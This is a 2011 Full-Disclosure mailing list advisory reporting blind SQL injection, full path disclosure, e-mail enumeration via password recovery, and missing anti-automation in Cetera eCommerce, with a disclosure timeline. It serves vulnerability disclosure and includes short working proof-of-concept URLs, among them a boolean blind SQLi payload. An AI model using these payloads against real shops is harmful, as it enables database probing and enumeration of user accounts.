SQLi, FPD, AoF and IAA vulnerabilities in Cetera eCommerce

["MustLive" <mustlive () websecurity com ua>]

Hello list!

I want to warn you about SQL Injection, Full path disclosure, Abuse of
Functionality and Insufficient Anti-automation vulnerabilities in Cetera
eCommerce. It's engine for online shops.

-------------------------
Affected products:
-------------------------

Vulnerable are Cetera eCommerce 15.0 and previous versions. SQLi and FPD
concern only version 15.0, and AoF and IAA concern version 15.0 and previous
versions. These vulnerabilities still not fixed by developer.

----------
Details:
----------

SQL Injection (blind SQLi) (WASC-19):

http://site/catalog/’+(version()=5.1)+’/ (200 at true, 404 at false)

http://site/’+(version()=5.1)+’/ (404 at true, 200 at false)

Full path disclosure (WASC-13):

http://site/’/

http://site/catalog/’/

http://site/account/’/

http://site/news/’/

http://site/vendors/’/

Abuse of Functionality (WASC-42):

In these functionalities it's possible to reveal e-mails which are logins in
the system.

http://site/account/recoverpassword/

http://site/account/recoverpassword/code/

Insufficient Anti-automation (WASC-21):

These two functionalities have no protection from automated requests
(captcha).

------------
Timeline:
------------

2011.03.25 - announced at my site.
2011.03.27 - informed developers.
2011.05.14 - disclosed at my site.

I mentioned about these vulnerabilities at my site
(http://websecurity.com.ua/5035/).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua 


_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/